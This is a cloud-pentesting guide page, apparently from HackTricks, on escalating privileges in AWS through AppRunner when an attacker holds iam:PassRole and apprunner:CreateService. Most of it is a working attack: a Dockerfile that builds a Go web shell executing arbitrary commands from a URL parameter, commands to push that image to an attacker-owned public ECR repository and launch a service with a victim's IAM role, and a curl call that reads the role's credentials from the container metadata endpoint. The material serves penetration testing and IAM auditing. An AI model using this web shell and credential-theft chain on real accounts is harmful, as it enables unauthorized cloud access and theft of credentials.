# AWS - AppRunner Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## AppRunner

### `iam:PassRole`, `apprunner:CreateService`

An attacker with these permissions can create an AppRunner service with an attached IAM role, potentially escalating privileges by accessing the role's credentials.

The attacker first creates a Dockerfile that serves as a web shell to execute arbitrary commands on the AppRunner container.

```Dockerfile
FROM golang:1.24-bookworm
WORKDIR /app
RUN apt-get update && apt-get install -y ca-certificates curl
RUN cat <<'EOF' > main.go
package main

import (
	"fmt"
	"net/http"
	"os/exec"
)

func main() {
	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
		output, err := command.CombinedOutput()
		if err != nil {
			fmt.Fprint(w, err.Error(), output)
			return
		}

		fmt.Fprint(w, string(output))
	})
	http.ListenAndServe("0.0.0.0:3000", nil)
}
EOF
RUN go mod init test && go build -o main .
EXPOSE 3000
CMD ["./main"]
```

Then, push this image to an ECR repository.
By pushing the image to a public repository in an AWS account controlled by the attacker, privilege escalation is possible even if the victim's account doesn't have permissions to manipulate ECR.

```sh
IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
docker push $IMAGE_NAME
docker logout public.ecr.aws
```

Next, the attacker creates an AppRunner service configured with this web shell image and the IAM Role they want to exploit.

```bash
aws apprunner create-service \
    --service-name malicious-service \
    --source-configuration '{
        "ImageRepository": {
            "ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
            "ImageRepositoryType": "ECR_PUBLIC",
            "ImageConfiguration": { "Port": "3000" }
        }
    }' \
    --instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
    --query Service.ServiceUrl
```

After waiting for the service creation to complete, use the web shell to retrieve container credentials and obtain the permissions of the IAM Role attached to AppRunner.

```sh
curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
```

**Potential Impact:** Direct privilege escalation to any IAM role that can be attached to AppRunner services.

{{#include ../../../../banners/hacktricks-training.md}}
